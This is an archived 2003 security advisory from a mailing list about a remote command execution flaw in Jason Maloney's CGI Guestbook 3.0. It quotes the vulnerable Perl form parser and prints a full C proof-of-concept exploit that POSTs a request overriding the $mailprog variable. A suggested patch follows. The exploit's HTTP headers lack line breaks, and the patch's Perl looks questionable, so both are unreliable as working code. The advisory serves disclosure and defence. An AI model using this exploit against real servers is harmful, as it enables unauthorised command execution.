[UNIX] Jason Maloney's CGI Guestbook Remote Command Execution Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/03/03

  • Next message: SecuriTeam: "[NEWS] GnuPG External HKP Interface Format String"
    To: list@securiteam.com
    Date: 3 Dec 2003 16:05:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Jason Maloney's CGI Guestbook Remote Command Execution Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.aestheticsurgerycenter.com/scripts/> Jason Maloney's
    Guestbook "is a simple and popular CGI guestbook script". There exists a
    vulnerability in the guestbook script in the way that POSTed data is
    handled which may allow an attacker to execute commands remotely.

    DETAILS

    Vulnerable systems:
     * Jason Maloney's CGI Guestbook version 3.0

    The vulnerability occurs in the small routine which reads in and handles
    (converts from hex etc...) the information posted by the end-user when
    posting messages to the guestbook. The routine assigns values to all
    variable names accordingly as specified in the HTTP POST request
    (guestbook posts are POSTed).

    Vulnerable code:
    #Don't touch, these are necessary to run the script!
    $mailprog = '/usr/lib/sendmail';
    $entry = 1;
    $allow = 1;
    $date_command = "/usr/bin/date";
    $date = `$date_command +"%B %d, %Y"`; chop($date);

    read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
    @pairs = split(/&/, $buffer);
    foreach $pair (@pairs) {
       ($name, $value) = split(/=/, $pair);
       $value =~ tr/+/ /;
       $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",
    hex($1))/eg;
       $value =~ s/<!--(.|\n)*-->//g;

       if ($allow != 1) {
          $value =~ s/<([^>]|\n)*>//g;
       }

       $FORM{$name} = $value;
    }

    The above code trustingly reads in data from the user's HTTP POST request
    (their submission of a guestbook post), assigning all values to variables
    specified in the POST request. Due to bad user input checking, the user
    could easily change the value of a variable holding the path of a program
    to be opened as a pipe, such as $mailprog. $mailprog holds the path of the
    sendmail application, and could be changed to an arbitrary program
    depending upon the attacker's desire.

    The routine very loosely checks for a few metacharacters (such as | and
    *), but in general performs a weak attempt to sanitize data. Whilst
    changing a preset variable (such as $mailprog) to an arbitrary command, an
    attacker could insert an unlocked metacharacter, such as ';', into
    $mailprog (or even $date_command) to execute multiple commands at a time.

    Exploit:
    /* Jason Maloney's Guestbook CGI vulnerability PoF.
     *
     * Discovered and written by shaun2k2 -
    shaunige@yahoo.co.uk.
     *
     * A few things in the HTTP headers WILL need to be changed appropriately
    to custom values for this exploit to WORK.
     *
     * Greets to: rider, maveric, sw0rdf1sh, liquidfish, pc_the_great, peter,
    rizzo, theclone, msViolet, Kankraka, deadprez, hades, the p0pe, port9, Dr
    Frankenstein, and whitedwarf.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define PORT 80

    int main(int argc, char *argv[]) {
            if(argc < 2) {
                    printf("Jason Maloney's CGI Guestbook Exploit.\n");
                    printf("Discovered and written by shaun2k2 -
    shaunige@yahoo.co.uk\n");
                    printf("\nUsage: %s <host>\n", argv[0]);
                    exit(-1);
            }

            int sock;

            printf("- Preparing exploit buffer.\n");
            char http_request[] = "POST /guestbook/guest.cgi HTTP/1.1"
                                  "Host: localhost"
                                  "User-Agent: Mozilla/5.0 (Windows; U; Win98;
    en-US; rv:1.2) Gecko/20021205"
                                  "Accept: text/xml, application/xml,
    application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, image/png,
    image/jpeg, image/gif;q=0.2,*/*;q=0.1"
                                  "Accept-Language: en-us,en;q=0.5"
                                  "Accept-Encoding: gzip,deflate"
                                  "Accept-Charset:
    ISO-8859-1,utf-8;q=0.7,*;q=0.7"
                                  "Keep-Alive: 300"
                                  "Connection: keep-alive"
                                  "Referer:
    http://localhost/guestbook/add.html"
                                  "Content-Type:
    application/x-www-form-urlencoded"
                                  "Content-Length: 111"
                                  
    "name=dgf&email=shaunige@yahoo.co.uk&url=http%3A%2F%2Fdfg&city=dfg&state=dfg&country=USA&comments=dfg&mailprog=evilprog&x=15&y=20";
            struct sockaddr_in dest;
            struct hostent *he;

            if((he = gethostbyname(argv[1])) == NULL) {
                    printf("Couldn't resolve hostname!\n");
                    exit(-1);
            }

            if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                    perror("socket()");
                    exit(-1);
            }

            dest.sin_family = AF_INET;
            dest.sin_addr = *((struct in_addr *)he->h_addr);
            dest.sin_port = htons(PORT);

            printf("[!] Connecting.\n");
            if(connect(sock, (struct sockaddr *)&dest, sizeof(struct
    sockaddr)) == -1) {
                    perror("connect()");
                    exit(-1);
            }

            printf("[+] Connected!\n");
            printf("[*] Sending exploit buffer.\n");
            send(sock, http_request, strlen(http_request), 0);
            sleep(1);
            printf("[*] Exploit buffer sent!\n");
            sleep(1);
            close(sock);
            printf("[!] Disconnected.\n");

            return(0);
    }

    Vendor status:
    The vendor, Jason Maloney, has been notified, but asked Shaun to write a
    fix.

    To patch the problem, just insert the following code snippet into the
    guest.cgi script just after "$FORM{$name} = $value; }"
    # Jason Maloney's CGI Guestbook fix written by shaun2k2.
    #
    if($mailprog neq "/usr/lib/sendmail") {
    $mailprog = "/usr/lib/sendmail";
    }

    if($date_command neq "/usr/bin/date") {
    $date_command = "/usr/bin/date";
    }

    if($date neq "`$date_command +"%B %d, %Y"`") {
    $date = `$date_command +"%B %d, %Y"`; chop($date);
    }

    Fix Details:
    The above snippet will cause the guestbook to check the values of the more
    important variables after user input, and if they differ from the original
    value, they will be changed back. Other means of fixing the problem do
    exist, but this is the quickest and easiest patch possible.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:shaunige@yahoo.co.uk> Shaun
    Colley.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] GnuPG External HKP Interface Format String"

    Relevant Pages

    • Jason Maloneys CGI Guestbook Remote Command Execution Vulnerability.
      ... Jason Maloney's Guestbook is a simple and popular CGI ... There exists a vulnerability in the guestbook script ... an attacker to execute commands remotely. ... HTTP POST request. ...
      (Bugtraq)
    • [UNIX] Serendipity Remote Code Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... "Serendipity is a weblog/blog system, ... Since the vulnerability is extremely ... easy to exploit and apart from one POST request, ...
      (Securiteam)
    • [UNIX] Bens Guestbook Cross Site Scripting Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ben's guestbook is "a simple ... scripting vulnerability, which can be resolved by filtering the "comments" ...
      (Securiteam)
    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)